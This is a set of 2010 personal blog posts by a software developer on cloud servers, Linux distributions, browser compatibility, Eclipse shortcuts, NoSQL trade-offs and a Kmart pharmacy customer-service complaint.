Let me back up a little...

From my perspective, running production servers on virtual machines spun up on demand is not useful (yet) with the windows operating system. The windows OS strategy is just not responsive enough to this sort of business requirement (yet).

That having been said, I just finished spinning up a windows 2003 server instance on rackspace... Why? I need to investigate some Active Directory problems we're trying to solve at work right now. I spent 4 hours downloading the massive DVD install image (and a bunch of crazy MS registration stuff) for a 10 day TRIAL version of the OS.

I then went over to my rackspace account (because of a different problem) and realized they could set up the server I needed. I clicked "create server" and they set up a virtual server in 15 minutes. Yes, it costs more to run this server than my Ubuntu instances, but it's only going to run for a couple of hours over the next 2 days so I don't really care.

In short, on-demand virtual windows machines (I'd love some XP/Vista/Windows 7 instances for testing our software hint hint) are a super useful thing and are worth their weight in gold (maybe even platinum), but this doesn't mean it's a good distributed virtual server platform.

firefox 3.6 and google chrome

2010-06-03T20:41:00.000-05:00

I happened to notice that mygopher.com doesn't seem to work properly with firefox 3.6 OR google chrome... That's about 25-50% of "normal" web traffic. Note: if the techie people show you log files that indicate firefox is really only 5% (or some other low number).... ask them "how could ANYONE with firefox possibly be using the site if it doesn't actually WORK with firefox?".

I used to be a little self conscious about posting gripes about browser compatibility, but now that I see the real numbers from a number of sites that get millions of hits, I'm fairly confident that firefox (and even crome) are actually pretty important at this point. Right now I support a couple of non-technical sites that get millions of hits per month and IE gets around 70% firefox gets around 20% and chrome gets around 5% (the rest is a mixed bag).

I'd recommend letting the tech folks take about a week and make the site at least work with these browsers. In all fairness, I guess it is possible that the site works on windows versions of chrome and firefox as I'm using linux, but I suspect it's equally broken on windows. At this point, cross browser compatibility is a commodity and no professional organization should really allow incompatibility on a public site (IMHO).

Why windows will not work in the cloud

2010-06-03T06:29:00.000-05:00

Quick question, "why is windows not suited for deployment in the cloud?"

Take a look at amazon's pricing. Next, take a look at rackspace linux and windows pricing.

Do you notice anything? A keen observer might see:

#1 Windows costs between 1.5x - 2.6x more than linux per compute cycle.
#2 Windows is in BETA for the rackspace cloud.

Now some folks might argue that this cost is offset by fact that windows servers are more managable (after all, you get a nice pointy clicky user interface right?). Those folks should try to push an update to 100 windows servers using the pointy clickly technique.

Any administrator worth their salt is going to use scripting and automated deployment techniques which is where linux really shines. Windows as a desktop platform is pretty good (although ubuntu is catching up, but it windows as a server platform still suffers from it's high TCO.

All this having been said, I guess I'll restate my subject in a slightly different way:

"Windows is very cost efficient or technically capable for creating distributed systems"

Kmart pharmacy customer (dis)service

2010-06-02T21:21:00.000-05:00

First off, let me qualify this post by saying I am a former employee of Sears Holdings Corporation which is the parent company for Kmart. As such, I happen to still use their insurance through COBRA and because of the plan offered, my insurance only allows me to use Kmart (and VERY few other) pharmacies.

Last night I was supposed to go to Kmart and refill a prescription for my son. As circumstances would have it, I forgot so ultimately, I probably contributed to the stress levels associated with this situation. We happened to have one dose left of his medication so we assumed it wouldn't be a big deal to pick it up in the morning. My wife thought she could just run to the pharmacy this morning and get a refill.

This morning, I happened to be attending a software development conference in Chicago (coincidentally with at least one, if not more than one SHC associate) and started receiving frantic calls from my wife. She went to TWO different Kmart pharmacies (10 miles apart) and they didn't have the prescription. She was assured, however, she could drive just another 5 miles away and get it filled.

Because she had other things she had to get done, she went to another pharmacy right next door (Walgreens ) and was going to pay a LOT of money ($150) to get the scrip filled. After the third call, I told her to simply lay down the cash and we'll worry about the cost later, after all, our time and our son's health was too valuable to be driving all over Northwest Illinois hoping that someone had what we were looking for. It turns out, she got the idea to call our pediatrician and they happened to have had a some samples that they gave us until Kmart would be able to fill the prescription, but this brings me to my point:

Kmart pharmacy, you get a big fat "F" in customer service. Honestly, I really like the people working there as individuals, they're really friendly and seem to be nice people

BUT...

I happen to know that the store in Rockford is affiliated with mygopher.com. This should have been a home-run make my wife happy win-win-win situation for all involved. If the store in Rockford had proposed that my wife pay an extra $10 to have the prescription delivered to our doorstep she would have been jumping up and down in happiness. Instead she was frustrated, mad, and disgusted with the entire situation.

Some alternative scenarios proposed:

#2 Go get the scrip from Walgreens, then figure out how to get reimbursed...
#3 Anything else? Really, do you need US to come up with better solutions? I'm the customer here, I'm looking for solutions, NOT excuses...

tech search

2010-05-23T17:36:00.001-05:00

I thought I'd spread the word about a search engine that does a particularly good job if you're a programmer. I've heard about this in the past, but didn't need it until I started working on a project that had bits of python, ruby, and java (and I'm an expert in none of these).

duckduckgo.com

Programming with eclipse

2010-05-22T18:29:00.000-05:00

Quick! Anyone who's ever used eclipse for more than 5 years tell me how you would find a file in your project(or workspace) with a name that starts with the test "BuildString".

If you answered:

Hit CTRL+SHIFT+R
Then type BuildString

I'd believe you used eclipse more than a few hours.

If you answered:

Hit CTRL+SHIFT+T
Then type BuildString

I'd ask "what if you where looking for a property file, not a class?"... Even if you got it wrong, I'd believe you use eclipse, but perhaps just misinterpreted my question.

If you answered:

I'd click on then to menu and select 'find', then switch to the file view then...

or any of 100 other possible combinations like:

I'd drop to a shell prompt and use the 'grep'
or
I'd use windows search
or
I'd open a browser to google

I'd say "that's interesting, I hadn't thought of that" and give you some credit for understanding the problem and having some sort of plausible solution.

If you said "I've never had to do that" I'd silently intake a slow breath to prevent myself from jumping across the table and beating you over the head with a copy of "programming interviews for dummies".

Listen, at an interview I KNOW folks are lying and overstating their capabilities... I kinda expect it. You're trying to show us you're superman + wonderwomen + aquaman all rolled into one.

But if you show up saying you can leap over tall buildings and I ask you to jump over a 10" rock... You better clear it or I'm just not going to waste any more of my time. I don't care if you can leap tall buildings because of superpowers, a yellow sun, jetpack, trampoline, or any other "cheater"... I just want an illustration that you can actually do something similar to what you originally claimed.

Linux in the cloud (Ubuntu 10.04 vs RHEL 5.4)

2010-05-22T10:50:00.000-05:00

I recently did a comparison between Ubuntu 10.04 and RHEL 5.4 to determine what our standard server install should be. Just to be honest, windows server started out to be in the mix but was quickly disregarded as it really doesn't lend itself to scaling out in any reasonable manner. I set these up using the rackspace cloud which I have to say was a dream come true. I had both servers up and running j2ee application servers in less than 1 hour.

First off, I first used redhat back when it was shiny and new (94-95) and used it for quite some time afterward. I've also used a variety of other unix and/or linux systems (slackware, debian, ubuntu, suse, caldera, SCO, solaris, aix, hp-ux). That having been said, I am a linux USER, NOT a kernel hacker. So the inner workings are quite as important as much as getting a useful and reliable system together quickly.

What I discovered is that Redhat is trying to build a stable platform that doesn't change. They are committing the ultimate act of software suicide that IBM and Microsoft (and now even Apple) seem to have perfected in recent years. The fact is that Ubuntu has begun to figure out what makes things tick and they are iterating and evolving with the marketplace.

When I looked at the packages that were supported on the two platforms, everything on RHEL was at LEAST 3-4 years old and some of it was older. I understand from a business perspective, they think this makes sense because it costs money to innovate, but it is a serious problem. They are effectively ignoring 4 years of serious progress.

Ubuntu, on the other hand, was seriously up to date. Ubuntu 10.04 is current as of April and I know they will be release a new upgrade October. In addition, I have the flexibility to back/forward port new packages between releases if it becomes really necessary.

If you want outdated software that will work great as long as nothing in your business changes and you're OK being 4+ years behind everyone else, choose Redhat. If you want software that will evolve and change with your business over time, choose Ubuntu. If you want software that nobody will fire you for choosing, choose Microsoft (or IBM).

Cavemen, Exploding Nails, and Software Development

2010-05-21T10:32:00.000-05:00

I've work now for a number of years in organizations of various sizes producing software. Having worked to produce wildly successful and effective solutions as well as hugely expensive boondoggles that are useless I ponder why sometimes things work out and sometimes they don't.

Many folks claim that Software development is in it's infancy and this is the reason for the erratic results. If we're using human development as the metaphor for software development, then I think the current state is not even quite human yet. I think our state is somewhere more along the lines of a caveman or some other ancient common ancestor.

Where we think we are

Where we really are

Or maybe here

What makes things difficult is that people try to map processes and activities into a physical space. We talk about software as if we are trying to build a bridge or a house. Then we take processes used to perform these activities and try to shoehorn development processes into them. Sometimes this actually works and sometimes it doesn't. When works, it then gives people the impression that they have found the solution for performing this activity.

For some reason though, everyone in the has been ignoring the fundamental problem with using these metaphors. In most physical world systems, components seem to behave in a linear fashion. What I mean is that when building a house, it is highly unlikely that ONE nail in the wrong place will cause the house to explode. Nor is it possible for one person to drive all the nails for the house in 1 minute. In software however, this is entirely possible and it happens all the time.

It is interesting because this is actually a fundamental reason why software is so useful. A small stimulus can yield a largely amplified effect. To use the house building metaphor, imagine we could build a magic hammer that could drive every nail into place simultaneously. Most folks would say that would be impossible, but in software development, no problem.

Let's give an example of software that does this. Right now, go find a web browser, navigate to www.google.com, and search for "new york times". In addition to being able to jump into the actually newspaper content, you will also find thousands (or maybe millions) of books, articles, blog entries and other content that is related. If we where to take all this and map it into the physical world, you would have a book that weighed about 1.2 billion pounds and was 10,000 feet tall. (creative.cloud)

Imagine building a physical system using anything other than computer software to be able to search this content and yield results. Now image making that system work (remember, no computers) in less than 1 second. Now further imagine making that system work so that you didn't have to move from your current position nor do anything except type three words (onto a typewriter I'm assuming).

With this background, I'll now get to my point: Because software development is such a large amplifier, it is really easy to produce extraordinary results. Sometimes the results are extraordinarily good, sometimes they're extraordinarily bad. The software used by google is probably pretty complex and the hardware is also likely complicated, but it is nothing compared to the RESULTS.

It isn't that software development is immature, it's that it's not yet the right species for some of the the types of activities we're trying to use to control the process. It would probably be difficult to teach a precursor species to play baseball if they had no opposable thumbs (even if they possessed the intellect).

Many software processes and organizations at this point are designed to limit the variation of the input in order to achieve predictable outputs. This is a dicey proposition at best as software because of the nonlinear amplification effect that software provides. What we need to develop are processes and strategies that use the strengths of software to amplify the probability of producing positive results.

To this end, I think our answers lie well outside traditional engineering disciplines. The fact that engineering of physical systems is inherently limited by the reality of the "real world", we need to start looking elsewhere for our solutions. I think fruitful areas to look for solutions are going to be in areas like psychology and sociology. While writing software, the most important factors are not the software languages, tools, or other documentation we constantly worry about. The more important factors are evolution, communication, motivation, and social dynamics.

While it's true that the latter factors impact any endeavor, most traditional systems have a natural a damping effect on their impact. Software development, being "all in our heads" doesn't have this limitation and is therefore more sensitive to their effects.

Open development

2010-05-14T19:42:00.000-05:00

The idea that using an open community to help solve problems is much easier than trying to hire all the smartest people in the world and keeping them locked in a cubicle farm somewhere has come of age. The days of ivory tower design and implementation of software have really passed and any software company worth it's salt is going to have to figure out how to win through cooperation and coordination instead of secrecy and competition.

In my wanderings on this issue, I also noticed that Mark Shuttleworth had posted a blog entry just a couple days ago that seems to hint at things to come from Canonical. Of particular interest to me is that he seems very keen on the netbook and smartphone market which I think is a tremendously smart (no pun intended) move. In addition, the idea of openly discussing corporate strategy is interesting and might be a hint at how to harness the power of the network effect.

A big thing to consider is that the whole of the world economy isn't necessarily a zero sum game. Often, people assumed that for one organization to be a winner in a market, there must necessarily be losers. In the real world, however, this is not really accurate. A more accurate picture is likely to say the there might be some folks who win MORE than others, but is not necessary for me to take something away from you to benefit. If I create a new market and you add to it... we both potentially benefit.

It seems to me that Mark Shuttleworth will be talked about in the future as Bill Gates is talked about now. First off, he's already done wonders, but more importantly, he's still doing amazing things.

Window decorations in ubuntu 10.04

2010-05-09T08:03:00.001-05:00

I've just started deploying the newest Ubuntu release to the various computers in my house (5 right now + a work VM) and one thing I immediately noticed was that out of the box, the window decorations have moved.

They are no longer in the ages old upper right hand corner, but now over in the upper left hand corner. At first I was shocked and a little confused, then I started thinking. Why was I shocked or confused? Other than habit and training, I cannot fathom why the upper right hand side is any better than the upper left.

In order to better educate myself I first set out to see why the decorations would be on either side as well as try to figure out the logic behind moving them to the left in the first place. First up, I see in the ubuntu forums a vibrant discussion about the decision to move the icons in the first place as well as future plans to reuse the real estate on the right for other purposes.

After some more investigation, I find the ubuntu wiki page explaining their design decision for the default theme >here. I also see a bug reported by someone who was similarly confused by the movement here. One very interesting thing about this is that Mark Shuttleworth personally commented on the bug and declined to move the icons back as a fix.

After looking at this, I trolled the internet to see where exactly the "icons on the right" came from and stumbled across this history of GUI evolution from 1981 until 2009. Nostalgia aside, it was an eye opener to me that the MAC OS actually has the decorations on the left.

More importantly, it was proving difficult to find any discussions from Microsoft or Apple explaining why they made the decisions they made. It is becoming clear that the open and transparent manner that Ubuntu is being built is a real change in the game that closed companies that are the "first wave" like Apple and Microsoft are not going to be able to survive.

All that having been said, I still can't figure if either of these positions have an inherent advantage. In searching, I couldn't find much information that folks have truly researched OS level usability (although one would suppose that Apple and Microsoft would have done this. I DID find an interesting study on web search from a usability perspective.

As we've just spent a bunch of time working with search design on an application I'm currently working on, this was an interesting confirmation that some of our design decisions might make good sense.

NoSQL versus RDBMS

2010-03-27T07:52:00.001-05:00

I read with interest an article about the mentality behind nosql

nosql-vs-rdbms-let-the-flames-begin.html. From my perspective, this debate isn't really a debate and I've written about similar things before.

If you stop for a moment and think, it seems obvious that giving up a relational model and giving up ACID compliance reduces overhead. It should also be obvious that you are giving up things that many people for many years have thought are really important.

To a person selecting an underlying database implementation, part of your decision making process needs to take these things into account. Here's a quick list of things to consider:

How important is speed? (how long can we wait for one operation to finish)

How important is scaleability? (how many operations must we be able to do at one time)

How much money can I spend? (Can I spend a $200,000 on a honking server?)

Who is going to support this system? (A bunch of developers, a bunch of dbas, or both?)

How big are my transactions? (Am I updating 100 unrelated things in one transaction?)

How important are transactions? (if update "A" fails, do I really have to rollback update "B")

Do I need to replicate my data? (does hong kong need the SAME data as the US)

Do I need to shard my data? (should hong kong orders stay in hong kong and never make it back to the US?)

How much data are we talking about? (managing a 1gb database is quite a bit different than 1Tb)

How often does the data change? (is this a transactional system, append-only, or read-only)

How much of the data changes? (the weather changes every day, the text of a book written 100 years ago doesn't change very often)

While this list isn't comprehensive, it illustrates the sorts of things people should be thinking about BEFORE even trying to pick which sort of solution is appropriate. What I find is that many people try to make significant architectural and highly technical decisions without having thought about what they're really trying to do and what is really important for that particular solution.